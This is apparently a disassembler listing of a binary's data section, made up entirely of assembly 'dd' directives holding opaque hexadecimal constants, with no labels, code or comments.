dd 0DD686Ah, 5634C8CEh, 0A8D30083h, 65B5B2C1h, 0D679FA1Bh dd 0BFF8FE78h, 0C8ADB100h, 0E83D8E3Eh, 1AE50082h, 1F3830BDh dd 6C077215h, 0ED6240B8h, 0BF36E450h, 35651FC3h, 2D1500FEh dd 31DEA4D7h, 0FD01ED00h, 0C7A0BDC9h, 96F30070h, 7AB01B99h dd 0C3001C80h, 6E33E87Ch, 38075337h, 848002FBh, 0A67EB3E4h dd 0B7773E71h, 66DE7900h, 59402F08h, 971C00C8h, 0BB7CC742h dd 9007A25Dh, 9B2A35DCh, 2260D890h, 0A33200D5h, 9DD571Ah dd 40155D1h, 2E631608h, 0B720A987h, 8C2101B6h, 6E12EB6Ch dd 3CAADB64h, 0C8B6E377h, 6AAF37h, 5B2A5C7Fh, 0F0F970B7h dd 0DD6B8D02h, 408AC4BAh, 0A77D8h, 1404F1C8h, 57034264h dd 75DB6738h, 21EFCE07h, 6B31EDFBh, 60F0C1D0h, 7F390064h dd 0AA015323h, 0C40386E9h, 0DCC0E0A8h, 6221C8EAh, 5B7029h dd 249ED813h, 93BE6971h, 375FF901h, 745EA391h, 2E4BC0h dd 83DC29AEh, 0FCB95A76h, 0F05BB800h, 0DAA39003h, 60C7003Fh dd 923D6A55h, 0B00E94Ch, 244296B3h, 9717CC5h, 37394FF4h dd 69DAF00h, 7B001FFEh, 0D7FFF808h, 0FAFCA4Ah, 5FDC24F4h dd 70EA3EE0h, 72139EECh, 0C700512Ah, 620AAC49h, 2F5C02DAh dd 0F1D63233h, 0B81D4AC0h, 3C3D3800h, 90E5450Ah, 0EAE00C6h dd 484FF58Eh, 300F681Ah, 0E7814D08h, 0D862AFCFh, 0ABF6400Eh dd 71F600B2h, 0EE2F377Ch, 0C9001C44h, 21A76E18h, 0EA6BE75h dd 0C789E878h, 9E27ED80h, 42014851h, 593C95DBh, 0F0E7830Bh dd 17C45Ah, 573A8891h, 0F5EC3723h, 0D9144800h, 0E9222E87h dd 0B0330047h, 0D42573DFh, 891F60B4h, 88024C8h, 0F9829632h dd 0A4055CE8h, 68B43100h, 0B6539D2Ch, 2DD20B00h, 87EC985Dh dd 0B8CF09F6h, 5800B9E1h, 0BD8A2142h, 60273B00h, 6B54B3BBh dd 0FDA80026h, 44287243h, 1A00813Fh, 0E51E3D3Ch, 9CDA32h dd 10F3EF06h, 60D4366Fh, 8854400Eh, 0AD04C0C1h, 26E386EDh dd 88B6B1h, 1B056E20h, 87000BC0h, 99040E36h, 1C2E5A6h dd 4AAEDD29h, 0E4F4C5E0h, 6E008E27h, 0A475AB77h, 0C49C83h dd 0ADFCDAAh, 0FC2073Eh, 2803CA90h, 7663E4F0h, 0E4A88DAh dd 8BD002Ch, 309E5ABBh, 0C0002B57h, 0F0AA9D69h, 0EC4CC11h dd 4693DC62h, 15FD4E40h, 4000592h, 0EE736625h, 50A319h dd 0C342214Bh, 0E47F1F70h, 0C780640Fh, 60B9AF33h, 0EC38FCD2h dd 0C1FF00B4h, 0F73A1072h, 1901D07Dh, 0F1BB1C8Fh, 0D1C002C0h dd 4DF92584h, 770000DCh, 0B10460E3h, 0BD7D5853h, 11985200h dd 1AA5F1A7h, 5CC3DB00h, 7EACF99h, 647F0A6Bh, 5BE36C1h dd 56AD0CEh, 0FA291091h, 98F3D280h, 0C3201D16h, 7F8404Eh dd 6951B71h, 380623Ah, 0AB47F693h, 3CA5F878h, 7705016Fh dd 8C253BACh, 0F0CBF946h, 13036C9Eh, 8D52D408h, 812EB0FBh dd 6B1F4C1Eh, 78146603h, 4FD8EBDDh, 0DA00BD4Bh, 779E918Eh dd 0BF9FC5h, 3E5C8528h, 611C9A1Dh, 0F30106F2h, 900F132Eh dd 33D0B05Eh, 6F78DFh, 16CA858Ah, 377EA46Dh, 0EE2CD1Dh dd 0D4DFEBC0h, 859D3Ah, 21F60787h, 0A27FBE16h, 8E24A800h dd 0CCAA364Bh, 0BA97000Dh, 10E57552h, 41010616h, 0FE670AEDh dd 0C07FD62Ch, 0A9F0C18Eh, 10298C00h, 4D5A24EEh, 0B2CB0099h dd 7887FE5Ch, 0C7E065F0h, 8300BF7Fh, 516DDF75h, 56AD8h dd 215C3467h, 0B2292F5Ah, 0AC3A8F1Ch, 0C3163980h, 2CBAF9Fh dd 0FBEC9D7h, 6F405DAAh, 0BA1E1876h, 94DFEF17h, 6600AC97h dd 0D1291523h, 386EE297h, 0E6AE3AF3h, 0C04A011Bh, 0ECD0F29Fh dd 850304A0h, 5797F0C6h, 3F6D0C9h, 4C130089h, 10221238h dd 0C700CF79h, 5C869E1Ah, 719188E8h, 8CE6B4h, 1104808Dh dd 532430D5h, 0A16D6207h dd 2EE0C0B0h, 70F676h, 0D64E26A6h, 0EC787175h, 3E143A00h dd 0C2CE4D49h, 189D0007h, 0EE54D44Bh, 0AA006FC5h, 105BEDA0h dd 3D0648h, 0F8FFD58Dh, 0C5E45AF5h, 1C43EC00h, 9442B084h dd 6EF6007Fh, 7C6A3211h, 9F755173h, 4CEC4100h, 9B4BBAA1h dd 16D5185Ah, 6E3B9071h, 8174FC00h, 8544AFD2h, 52250099h dd 91BEE6F2h, 5A00FD6Fh, 9C33211Ch, 55F7E1h, 7883D5A8h dd 0B6BED08Ch, 27034001h, 6C86C54Ch, 63C2C8h, 6A82B39Eh dd 6E5883CAh, 0C589DD50h, 85BBA807h, 7A20A52Bh, 0D40CFFh dd 26364831h, 46FAD1DEh, 35978500h, 16517A5Bh, 31020077h dd 0C21A6AF1h, 9B00D54Eh, 887426D3h, 3B0F5907h, 1280B8EAh dd 37C10148h, 0F3008B7Dh, 534C6AC2h, 1F30944Fh, 8F24915Eh dd 87E04DB9h, 0FF94ECBh, 16899800h, 776A26AAh, 79C70706h dd 703591D1h, 6C20BBE7h, 1009875h, 4D4BFAF6h, 0ECD805FEh dd 0B1EF01B6h, 210D5227h, 2474D065h, 51076200h, 5BA29CB3h dd 1DBF0067h, 3C88CBD4h, 0A3001F99h, 4407E824h, 0F022BBAh dd 0FCD38C7Eh, 4AA0848Fh, 581C979Ah, 8F8DA43Ah, 0E030597Fh dd 0B18A873Bh, 62FEBAh, 12E399BEh, 58A85A1Bh, 6AD28900h dd 33B05185h, 6EAE01B1h, 0F5B814D0h, 0C26FE0EEh, 0D43D191Fh dd 8B041F00h, 3AB7BB17h, 0EC808E8Ch, 0CD99B05Ch, 0FC7AB840h dd 0FD007BE8h, 757E1528h, 4AFFADh, 6D1B2F22h, 0FE4E48C2h dd 72B02500h, 0BC6EDC04h, 824400B7h, 0B811B4CAh, 0CC00A6C7h dd 0CDADF750h, 1803F5h, 62ACB9A3h, 99AAE82Bh, 0C6DB6E03h dd 0E83FAD11h, 0F387E63h, 0C8C7513Ch, 1A2EE640h, 0A7007201h dd 0CFCC6D92h, 70EA1419h, 978B0012h, 0F32D204h, 0D9E0BC5Ah dd 2FEE6E1Dh, 7615481h, 0C0E8454Bh, 0BF6B0EF9h, 5D804A99h dd 0EDD13DFCh, 7BB8C201h, 0BECBB08Eh, 7A0F25ECh, 0C1060050h dd 78A9E822h, 0A60FEF1Ch, 20C40205h, 9FCDEC13h, 42D707C2h dd 30787A1Eh, 0DD45264Eh, 6D8C740Eh, 6EBFC0BDh, 965C69h dd 5F3B393Eh, 792B1E51h, 57EC1A03h, 0E1E663A1h, 0CFC7502h dd 8E430065h, 0C4DBC6D0h, 28003376h, 951A154Dh, 1D6DD0Fh dd 185CA843h, 0DC01B3C0h, 130004F9h, 1203CE78h, 2AE3B9h dd 22D94C67h, 0FBD28F88h, 0D0714D00h, 8185B826h, 19BC0090h dd 0ABDE43A5h, 0BE004BDCh, 69F25F71h, 4C8EA2h, 0BA1C27DBh dd 21ABF1F6h, 940948h, 28FC828Fh, 0BA7B3h, 2B42DE14h, 0A1122DBCh dd 0D80013F8h, 49C998AEh, 7AAB7A9Ch, 0CBD0095h, 0CF16AC74h dd 5500C0B1h, 99D4DE10h, 1CFE98C2h, 0C01A200Eh, 1B651E56h dd 0A30013A2h, 53DDE6B7h, 7249F2h, 8FBA9152h, 0FF8ED751h dd 0FF0B693Eh, 183A20Fh, 0D108C076h, 1FB64F57h, 0E4CE5Eh dd 0AB50E55Bh, 5C001C31h, 0AF478735h, 0A0EFD0h, 0BF0B9529h dd 9DE637A3h, 0DB061B04h, 8FC03E94h, 225B68h, 8478E31h dd 59499C6Ch, 85399500h, 0F76952DBh, 242700FBh, 82338764h dd 0D817A3B7h, 5200026Fh, 852E6752h, 0A57D0076h, 8EF3C87Eh dd 0D001EB6Bh, 0E008AF1Bh, 9C6005B3h, 8DC001B6h, 0CDA17F7Ah dd 1F6AF84Eh, 0D6AC2400h, 108B9CF8h, 5A704Bh, 0E2329709h dd 273F9587h, 2D29B11Eh, 0AAB72040h, 61FF40h, 0C8833DDEh dd 41A5228h, 0BAFEDDECh, 0CA00B97Ch, 0A58EC005h, 9C4FD65h dd 0AA55BE7Ch, 639FB480h, 0FE0030BDh, 1BF34207h, 1CB10AE6h dd 80249B86h, 1DA454D8h, 27009A06h, 5E5A022Dh, 7D57109Ch dd 8CC33E64h, 0D8116280h, 82ACAFD7h, 4FFA4700h, 488493F6h dd 7D287FE4h, 7E037F91h, 0C1B0160Fh, 9CFD40C8h, 7FDF3A13h dd 4E365B00h, 0CF969B5Fh, 8D4000DAh, 0EA7D2934h, 10061DFh dd 452B9A2h, 15938Fh, 71121E8Ch, 0B7279F43h, 0BDF53D00h dd 0D384784Dh, 83F2008Bh, 0EAF3F4ADh, 0EB00428Eh, 0D7015875h dd 0B6A597h, 0AF2C7782h, 71E6B23h, 1004A660h, 0E61B5567h dd 0F7D84C37h, 4B26B307h, 4679E06Bh, 9900F954h, 0B9AFC58Fh dd 25CE74h, 0BEE7EF05h, 0A0C629D4h, 9B228A1Ch, 0B1AEE4C0h dd 0B6A979h, 7FE69D2Eh, 8291CB6Dh, 17CDC800h, 0D14AFBD4h dd 0A4EC1647h, 3A6FF097h, 3C079AB8h, 0EAA7FF11h, 176DCE80h dd 4336008Dh, 2E22BC6Ch, 1C00A40Ah, 5B395DA0h, 0F841FF6h dd 0BF62D5D0h, 0B17543C0h, 0F90F2945h, 433C3A25h, 0B015077Dh dd 5C1F2Bh, 5905611Ah, 1C30D99h, 41DD341Eh, 203A064Fh dd 63747DDBh, 9CF68Ah, 32BD0427h, 0F4F21AFDh, 2096C500h dd 0B8711765h, 5E750089h, 0F59DBD61h, 0E7058E62h, 0CCC09E77h dd 4B148A80h, 0AF483ADAh, 7339C680h, 662635F5h, 0EB798300h dd 4870C0BCh, 0D7A4018Ch, 68542356h, 0AA623063h, 12CF1000h dd 2B25B694h, 0C7800045h, 0C2099336h, 0E6162767h, 0F00088A1h dd 0E3977BEh, 0DB8D005Ch, 0CE268147h, 9801EB56h, 0BBBAF940h dd 0D5C442E0h, 1F82E86Ah, 0C097ADEFh, 2FB9E23Ah, 6603998Ah dd 0DB2C7348h, 90CCFBF5h, 3EE9A5FBh, 4F802912h, 0CBDFE48Dh dd 0D7000772h, 436C925Dh, 1125FAh, 203C87B3h, 0F6D361E2h dd 4D076D72h, 4C7DE073h, 0B14FE110h, 0E68D580Bh, 80A56300h dd 7B3CA6B6h, 3D5E203Bh, 22AA0035h, 7E318FDAh, 0EAC00D2h dd 39977989h, 2A0026D9h, 0E79A0310h, 0C94C5Fh, 99203898h dd 6176A671h, 3CDC1100h, 6EAFBF65h, 0B6C7078Ch, 0A14F2263h dd 0D4D5F407h, 0D01E2EDBh, 8C00CA78h, 0E9735F0h, 916501B5h dd 0B88F8D37h, 2287E057h, 4E30C500h, 0D2AA71C8h, 0DA0C0126h dd 0B7DF2D6Fh, 5006DC79h, 80A77A3Ch, 0EB75B582h, 56CB58h dd 3F4C28BFh, 0B272F1C1h, 460086FCh, 0F7B9B3EDh, 83075h dd 0E7EA8AD0h, 9493CC92h, 5C3904ECh, 0D038005h, 0A73F47C6h dd 6B0F03B4h, 2B0E8CD8h, 0A17350CFh, 2800C7F9h, 6584A67Fh dd 732859Eh, 4D786897h, 0B48CA09Bh, 3500AAD4h, 6571822Eh dd 0B37AC7h, 0B89E5A81h, 0DA5B30C8h, 0FCAFD800h, 1267E208h dd 25A1001Ah, 621B52CAh, 9600A42Fh, 977CECC7h, 1F9F80B3h dd 4E4F70F8h, 8FDC39B4h, 55C0234Eh, 0C4AE8CA1h, 800E273h dd 5E8A506h, 0E2DB572Fh, 3C0E7825h, 0E380C442h, 0A2AD2D4h dd 0F30067B2h, 5D962BECh, 7920B3h, 0A17B238Ch, 143CE82Eh dd 0AEF0C300h, 53FB52F3h, 457934h, 678EFFDh, 87E99EB7h dd 14D29600h, 0AAAFA726h, 1B4D00D9h, 0E45605A0h, 0EB00E3B8h dd 3EE7B90Ah, 0CE82F7h, 2572AED5h, 0F38E6643h, 191D9107h dd 8190E915h, 738D75Eh, 0A98AC7A1h, 4067474Ch, 120709B8h dd 23E93000h, 8F446480h, 0F24E00E8h, 0FFB86736h, 0D5B00D04h dd 6156D200h, 3A956310h, 98E30052h, 2DCC3B65h, 352475DDh dd 130008F8h, 0BE155490h, 6B5B0366h, 0EF88CB2Ch, 0E8BA84B9h dd 2B01DA7Eh, 0E8E355C2h, 0E5C09A7Bh, 2CD200F0h, 0B97A3B9Dh dd 26005781h, 66D11BE4h, 7060E02h, 0CC93B6F1h, 0BC9C705Ch dd 8900ED9Fh, 2AF5237h, 80B260h, 8E458C0Bh, 6EDA51A0h dd 0E1F05800h, 0C6D5FEAFh, 0C01D1ED2h, 0E4F900F1h, 1952B6D1h dd 0A75F1B00h, 6E255C54h, 9D7901FAh, 307EE003h, 0F663DC05h dd 0F3213A0Fh, 400F60A7h, 4188C0h, 77361ED0h, 4299BB3h dd 731B3C00h, 71AD2232h, 8FB70C63h, 90887965h, 8ECB3600h dd 0CDABD44Bh, 0E49900A5h, 40309E7Eh, 0D8004774h, 61C132EFh dd 300F04CAh, 7D46B626h, 8100BE72h, 4A0BE7B5h, 29D295h dd 70EF6E0Ah dd 0B63352E6h, 5A002476h, 94817149h, 41B742h, 0DEC57719h dd 0C80AD893h, 16597000h, 7BA4DA8Ah, 0F9092417h, 0A714002Ah dd 3F4F45B8h, 0B5958B02h, 0C0C3AD4Ch, 3352EEBh, 0EA1C77Ch dd 0DF80C25Fh, 2B002190h, 0BCD18914h, 0F77831Dh, 2368E8A4h dd 40632C60h, 0AB001CE1h, 62BA5AAFh, 7A32815h, 395EB061h dd 1620FE27h, 1EA5E54Fh, 305D9800h, 0FF61B891h, 0F52400A0h dd 15686228h, 0DE1EFED6h, 97C1069Bh, 0A8ABA26Bh, 2E41A3D0h dd 4DDE7CBh, 80AA2B16h, 29967DBCh, 0B3F31701h, 46817E70h dd 6647DCh, 28506FC7h, 5A3D7591h, 52B1000h, 401767BEh dd 0D48700B0h, 1CCBD9Ch, 901C7051h, 26C06B38h, 9E19D1A2h dd 77750EE7h, 0EE26E09h, 0BD60BF3Bh, 5F00F2D3h, 611E850Bh dd 1E238AA8h, 0B45D71Ah, 0A280B371h, 4A3E7BF4h, 8BFCD000h dd 8A08F87Dh, 0EF830E29h, 316F94A2h, 8632D440h, 0AC00BF23h dd 0FBD31F3Fh, 7717624h, 4BC88FD8h, 4F4A003Dh, 0CA00E6C5h dd 6C067B45h, 3D23962h, 341F9611h, 3AB0E072h, 2200F35Dh dd 0B8A5D975h, 4C41C018h, 0AA3B52A1h, 29DC0680h, 6F378EE6h dd 57740D00h, 0DBDA9EAFh, 462D0ED7h, 422317ADh, 0A1DFE03h dd 69807CFAh, 4C09D5B4h, 245072B7h, 0E78A78h, 46F1C4C2h dd 0D32C0D1Dh, 2E00BAF7h, 42F43E7Ah, 0AF2A008Fh, 0DFB3F868h dd 0B0033403h, 0B453FF18h, 0D52E9093h, 0C8E667h, 0BCA7C63h dd 0F7110AF0h, 0D921FF00h, 0BE9536ABh, 434D00ECh, 57B2DC7Bh dd 4F00693Eh, 67069E3Bh, 0AF4A93h, 48380F33h, 0ACF60DA4h dd 0CD228600h, 28F30C77h, 0B4901CFDh, 2C1B80A0h, 0BEA9DE79h dd 682E0F01h, 0DC61190Dh, 1D4034E8h, 8046D6BCh, 24525756h dd 1901449Ah, 0C8A49BA1h, 0BDF516F9h, 0C6FECCh, 3E2794EEh dd 290BC87h, 7A592B00h, 1C57D88h, 53BD001Ch, 7C6A3F72h dd 970091CEh, 0F51158A5h, 0F80985F1h, 2B7C2Dh, 313D6B1Fh dd 0A3FF3A23h, 4B648917h, 5361A500h, 1DE1151Eh, 8002E749h dd 9BC557F4h, 271F3EEDh, 0F780BC96h, 59206710h, 2B460FACh dd 2ACE1152h, 0D87EEDA0h, 3A009D95h, 84F28845h, 0E8B2CDh dd 0EA2874D2h, 6586D1FBh, 45E2570Fh, 0F29EBF5h, 9CF2005Ch dd 7215CFD5h, 0D3095CA7h, 0C0EDF31Ch, 0E0DB8B5Ch, 87030F9Bh dd 0B00D20ADh, 0F740C794h, 1DC5785Fh, 8045D0EBh, 0B31DFE67h dd 750420C8h, 59713851h, 81D00387h, 0F6A8B841h, 0EF2F1748h dd 6FE5C04Eh, 0E8E06BA4h, 22EB9F00h, 0BCD448D2h, 0F3890088h dd 256C8B7h, 0BA903CC5h, 0FB1F9A00h, 0A7B9267Ch, 0DAB41FEBh dd 63FC081h, 438D8E76h, 3D39A200h, 0CFE55F79h, 862C39EFh dd 8C1EA483h, 37D70DA1h, 538470A0h, 245C76B7h, 291B00C0h dd 6B14F2C0h, 0D2E400F6h, 972B3921h, 1E003AB0h, 0DD4990BEh dd 0B806FCh, 515E706Dh, 59C4AB82h, 2C753700h, 5F9041F0h dd 564400BFh, 9EB38D98h, 0EE768B84h, 3D61AF00h, 1D16E847h dd 0FD0807C4h, 2B7E7493h, 89F15E83h, 0D1AF9EF3h, 0D051C6A4h dd 3B0A57B6h, 0B3BA4E06h, 94DE800Ah, 0ECAAD307h, 6CC4B534h dd 127AC01h, 137F3C56h, 905200F5h, 0B2662F2h, 6DA19D00h dd 5907188Eh, 0D09DA3F1h, 0E97D02h, 0B1351365h, 0ACE92F6h dd 825C4A00h, 9A2FA82Bh, 133D3BF5h, 0A6588703h, 0A580F4D6h dd 3000D0F1h, 6E3E0C0Ah, 179232Bh, 12377B29h, 0E47573D7h dd 1F003AD9h, 0FBAAB652h, 51BFC5h, 0E9483933h, 174E9F2Dh dd 0E64C8300h, 8A71B4C7h, 0FF380042h, 72083992h, 0BE07ABDFh dd 79A1E3C6h, 6A0DDBD0h, 0E6760069h, 0F8FDF6F4h, 9100E5B1h dd 8EA77FB6h, 0EC37B0h, 61AABC49h, 0F01F051Dh, 0B6552524h dd 4CC33800h, 2902672h, 5A19E751h, 9B8067CBh, 0FEACC2D6h dd 66009CE0h, 0F67EAECFh, 124D1Dh, 0F1D26A26h, 0B4C5D86h dd 0B6881405h, 71C08DC3h, 16EA6B3h, 0A8ACBAB7h, 70E9F407h dd 1D04DCF2h, 0A3802DC1h, 2917CFC0h, 0F26403B2h, 0CCD0B09Dh dd 0C4747097h, 9009339h, 0ED4296F7h, 0AEB3E73h, 845E05E8h dd 0D2A3009Ah, 34E97EC6h, 90148000h, 0F8593DEDh, 93BA00A4h dd 66BB9E6Dh, 4AF82939h, 7EC49600h, 8EA680F2h, 0B6D90FC1h dd 981FB58Ch, 446A08EDh, 61542C00h, 0F7306662h, 0CE7D2CE2h dd 78330314h, 0EAC81288h, 1501208Fh, 60AA6A2Dh, 6BFC23B1h dd 32A40262h, 294B761Ch, 28929EC0h, 0ECA6009h, 6EA0000Fh dd 0AD804Ch, 0F8E7D9B0h, 5E12A282h, 0F4B49F00h, 0AAE51C59h dd 244E0F1h, 5FDF54CFh, 28C00FD3h, 70048B3h, 950A0253h dd 70B8DEAh, 0E7F01526h, 8B92068h, 9B007C7Ah, 3943B2FEh dd 84E325h, 0EAFF0C95h, 27716BC3h, 47A22000h, 422BFC24h dd 0EFD30E61h, 9A40F614h, 172D91C9h, 479948h, 0E13A3DA8h dd 0E8310C5h, 0E07735F1h, 3117A920h, 0E20080C6h, 10D67108h dd 60DF8D30h, 0BED526D7h, 0D03B7274h, 98B865h, 0E0808273h dd 0B9CDD6h, 4934F002h, 0BEF94AC7h, 0E83B8400h, 5A6F387Fh dd 275C0FF7h, 0ABEED976h, 9863BB40h, 7534F58Ch, 13C0D60Ah dd 10AD90h, 1450C5CAh, 417CF895h, 38E8F239h, 6BF98068h dd 65A0E6CFh, 0DF5F00A1h, 0CC0BC945h, 9D071B94h, 87BCFB83h dd 33462B40h, 0A78B03B8h, 2506284Eh, 14B69EF8h, 8EE7011Eh dd 0B2015FA6h, 0DA155D05h, 0C6D1E8h, 7060E4B6h, 0E5961094h dd 4B9E9902h, 0C0DFA71Ah, 7DE9044Eh, 8772246Bh, 0E003885h dd 9CE8BF8Ah, 0B03EFE8Dh, 0DC0D00BCh, 0B19EDE19h, 0E2A2B013h dd 10C40072h, 5CE5ADCFh, 0B8005085h, 0C9644D30h, 3D642D8h dd 1A0F887Ch, 0B9C8C146h, 0FC005E69h, 68210581h, 7C64A2D1h dd 0C123B61h, 6B35DE80h, 3A7BAC7Eh, 87D7B600h, 0CD2A931Ch dd 0E3A948EDh, 262D017Eh, 9B554A9Dh, 0A7CF40A3h, 5F3B46B9h dd 8CA8018h, 2144AAB8h, 0A2120548h, 8011175Ch, 0DB523A7Ah dd 95DC3103h, 0DB5E2242h, 4E19F15Fh, 3579DD0h, 6DAF9732h dd 0CB80613Fh, 4700916Ch, 9B1C3A54h, 0EE569FF4h, 38FEC48h dd 0D9451418h, 3EE0F7AFh, 25ECB6B4h, 51795B00h, 314B1240h dd 9DA005Dh, 1EA8338h, 3A001897h, 139ED81Ah, 862B30h, 0BB76D128h dd 0B8485219h, 8E6B2300h, 0FEEAE65Dh, 328F006Fh, 5EB77BABh dd 7FCC2A4h, 703C4900h, 0A8A9DD4h, 0C0FB0158h, 0DE0BA652h dd 396170C1h, 56F3AB00h, 23EDDC4Ch, 0F5020064h, 44317FBFh dd 29008B95h, 5841EC4Bh, 0A0C9C193h, 4D09BFh, 7C79E94Ah dd 5019B6D7h, 82328D00h, 0CF4884C7h, 54125846h, 358F4101h dd 605C4B88h, 0F500FC1Ah, 8933C411h, 0CDFB76h, 71B2F645h dd 0A150B57h, 0E6B19400h, 0D3FD8299h, 31EF00A6h, 0D45C661Ah dd 411E24B5h, 0CB00DAECh, 134E64CFh, 0F8E60052h, 60E7915Eh dd 8A01A97Bh, 0A83E2DE0h, 2AF8D8A6h, 8CE607B3h, 700AD146h dd 30F8637h, 0A397CE01h, 83DDE705h, 0B902F0h, 9F91DA0h dd 60C6F43Ah, 0BB9CFE00h, 37628186h, 6050027h, 2BE46942h dd 0F200655Ch, 6D3EFA3Dh, 0F5756A22h, 1DE8D4FDh, 661E00E8h dd 65F5DCAAh, 363DA43Fh, 0A5308064h, 0D05E8DF7h, 0EBF2001Dh dd 46D9983Eh, 9DFCBD0Eh, 0BE405200h, 0E0394FB1h, 6D4A00E5h dd 72CEA755h, 5A009054h, 67DA07C7h, 1FAB6BFBh, 8B30E5h dd 5189F932h, 2D00CFE6h, 0BFF2BAD2h, 0B0FC3CBDh, 0FCEEF4A1h dd 822E0001h, 735726E4h, 6B3DD7DCh, 88DF001Ah, 3ACB1CC6h dd 2D390081h dd 0CDAA7FC4h, 63007DBEh, 97F45838h, 0A0160A14h, 73BE1F7h dd 96936F86h, 2467F071h, 3D3F2C21h, 29E051Eh, 5BB05706h dd 740D07E0h, 90986D22h, 9FF691A6h, 49681701h, 0A06A348Ch dd 0E08631D4h, 18D600C8h, 24A84B7Eh, 0E407F86Fh, 5AD19C5Ch dd 0B81622D0h, 0BE331FBAh, 29FC004h, 432D03ABh, 7CE84100h dd 44D38030h, 0C06E0025h, 78D55431h, 0B900796Ah, 77C45DFEh dd 0FA26AAh, 5A383CDBh, 8D593093h, 0C54F9400h, 58A590CEh dd 0DDE279h, 0D942E6D5h, 94828A04h, 891EE579h, 7E40137Bh dd 2E1FCE4h, 6FC300FAh, 6463444Fh, 47000D3Bh, 0FC3D0410h dd 4CF5B2h, 0A57169CCh, 295E32D2h, 142B9F00h, 0B690CFF8h dd 2C9400BCh, 1E96AE98h, 810FE369h, 0E0CC9FF9h, 7663CDDBh dd 0A89A00D6h, 0B58553CEh, 0F800050Ch, 0BD32FBFh, 6E3A39h dd 7DADB012h, 2D7516C9h, 0F651C3Dh, 0C0135F5Ch, 49019DCCh dd 4FD21D0Fh, 51803FA0h, 0DF3EE46Ah, 0DBFC6D04h, 9C9B3804h dd 7CC0D9C0h, 10E3F67h, 0C8A07A93h, 0D1131D10h, 8B3CD49Ch dd 0D8A91100h, 34EDE4C7h, 0B30E1EADh, 806F9D4Eh, 9CDC747Fh dd 4603605Dh, 0C9448FF3h, 0A8FB90B9h, 0F167C36h, 31138C7Ch dd 438E3CE0h, 513EC0F7h, 0DC18005Dh, 6D154BBDh, 0CE04006Bh dd 52CB598Eh, 42003FC4h, 0AD9ED53h, 1EEB1369h, 924485h dd 81CD48D3h, 15E290A1h, 0E3C873Eh, 0E3ABFF1Bh, 0F85BA0F2h dd 265C4751h, 34DDE8h, 8CB1F821h, 69006F09h, 636C7168h dd 467C72h, 1D362D9Ah, 0BA3AB34Eh, 0CF618401h, 0FF7E5DE7h dd 0F47023D5h, 2F5500A2h, 528F2679h, 19018112h, 4A676B85h dd 2F302B5Bh, 0C8353B2Fh, 0C72E181h, 206C18FEh, 9A763A6Eh dd 7C64B700h, 0D5A7CA36h, 0B12C001Ch, 0A95B6D2Bh, 2F03AF60h dd 5DFAA11Bh, 2A5B8BCh, 0C47E0508h, 0C07D1D5Ch, 0EA0E348Ch dd 68350A00h, 0B6552B6Fh, 0CA6300A3h, 9D6E9081h, 20005A6Ah dd 70F9420Eh, 311B5CC2h, 553A230Ah, 9D9E8FAh, 98008A7Bh dd 0C9A97FB2h, 4F3B5Ch, 29A359FCh, 37069D4Ch, 0BDE81C0Fh dd 0DA19A0A9h, 0F381ADh, 594DAA0Ah, 3E828668h, 0CD7A5C01h dd 1109C03Ah, 9F6D35F8h, 4EE2B8C0h, 0F4B658h, 0DA42C138h dd 7A6A4Dh, 44870C0Ah, 25C212ABh, 0B8B4B303h, 1CE0F8h dd 0FE46AFB0h, 9E77C923h, 8D65E600h, 0DF1003DDh, 369A00AEh dd 266F5E06h, 380F400Dh, 20D3BD49h, 0E0FE58A3h, 44A800C1h dd 4B6E9EB6h, 3C00A522h, 1EC311C9h, 3A6284h, 1BBC7C67h dd 0B1AE2CB5h, 5C7F6601h, 0C78AF37Dh, 71912FCCh, 0E6BD007Bh dd 0E15EE238h, 4500E96Bh, 0A5D3CE19h, 3A32FBFFh, 0A880EABAh dd 0AA76EF4Dh, 2D002C88h, 30CF5998h, 1CC19E0Fh, 40D135DAh dd 0FAC9E616h, 630F4F7Ah, 0A033EB24h, 0B69BFD0Eh, 3EA672ABh dd 0AE80BD6Eh, 18AC36F0h, 6406E219h, 60CC2E08h, 51930028h dd 0AD384A89h, 41B88604h, 8A485A00h, 9DB5E5B2h, 0D5DA00C3h dd 6C996409h, 0FA000D7Ah, 92F7B720h, 0B19EB37h, 8B9CF92Ah dd 2E00BE8Fh, 0B921C4AFh, 0F4B45800h, 3B028C05h, 0BDF893h dd 0B5F2EB15h, 0D0E22663h, 0A65F2EC0h, 563FD6h, 9B667284h dd 52EF1CC3h, 0C00089E4h, 0BD73BEEh, 0B2042Dh, 0F43F20Ah dd 0B322690Dh, 2BBA0200h, 0FCC9E3E8h, 0B0F90E9Ch, 0DD00484Fh dd 281C640Eh, 0B400BBE8h, 0D45F66A2h, 11B7F9Eh, 0C5A03E49h dd 0D84810BDh, 8F00631Dh, 7BCC908Dh, 142C278h, 0BE16B30Ah dd 0F86C4671h, 4900C5D4h, 77348BBFh, 89CDC7h, 56019E98h dd 2EE95B29h, 0E3382300h, 0CC859F54h, 943B00FCh, 6513F21Bh dd 521DAF36h, 0A4417DE9h, 0DE1DB574h, 924CC03Eh, 3A0038A2h dd 0F934B601h, 0E4949CE1h, 7D021D6Fh, 8ABC00E6h, 345EE51Ah dd 0B705B600h, 0DCE0CD12h, 0F5BE0F97h, 0F44F51F2h, 78F86E0h dd 8E0F1235h, 323E2BEBh, 0A777A500h, 1AABBEh, 15C86A1Eh dd 0B66C4F96h, 0A568F901h, 5A480770h, 0F893D3D7h, 6FC1C2h dd 391CC9A7h, 0D724C67Ah, 385D0800h, 78171B80h, 0C95F01F9h dd 1CA84049h, 0FA05D0B1h, 46589B01h, 0F1EB6745h, 6CD8F0h dd 2B93A10Ah, 0EC5B6036h, 103ABA00h, 2614EF18h, 0A6D201F7h dd 164D8051h, 0ED0AC002h, 0CD18E800h, 0B65A0C54h, 0A8861E47h dd 13148479h, 0E02987DDh, 7E361B1Ah, 31F2E200h, 4F76BFADh dd 688A0393h, 6AEB2F0Ch, 0D5975A90h, 2E383F60h, 78C0E84h dd 4BD46616h, 9333C075h, 0C3E0407h, 0E43EF38Fh, 4C468087h dd 0B1F0A3FCh, 801024F3h, 34740042h, 952C6905h, 0A198A200h dd 1D4EC659h, 6421121Ah, 470A000Ah, 0C90CB654h, 0A37C0913h dd 1D561F00h, 8DDFACh, 0E34C6240h, 2D860ECFh, 0F4B27A00h dd 28ACC321h, 41D000D8h, 0A7422A0Ah, 0F3030BC4h, 5D591347h dd 1997C87Dh, 29AC074Bh, 11E84C88h, 0F47A1BC9h, 93000BA3h dd 4F822154h, 0FAC1614h, 8EAAF565h, 6760AEEFh, 2B40D93h dd 47F48C00h, 0BF625573h, 6EB700D1h, 4A42D2EAh, 0E0223ADh dd 0CEF251D8h, 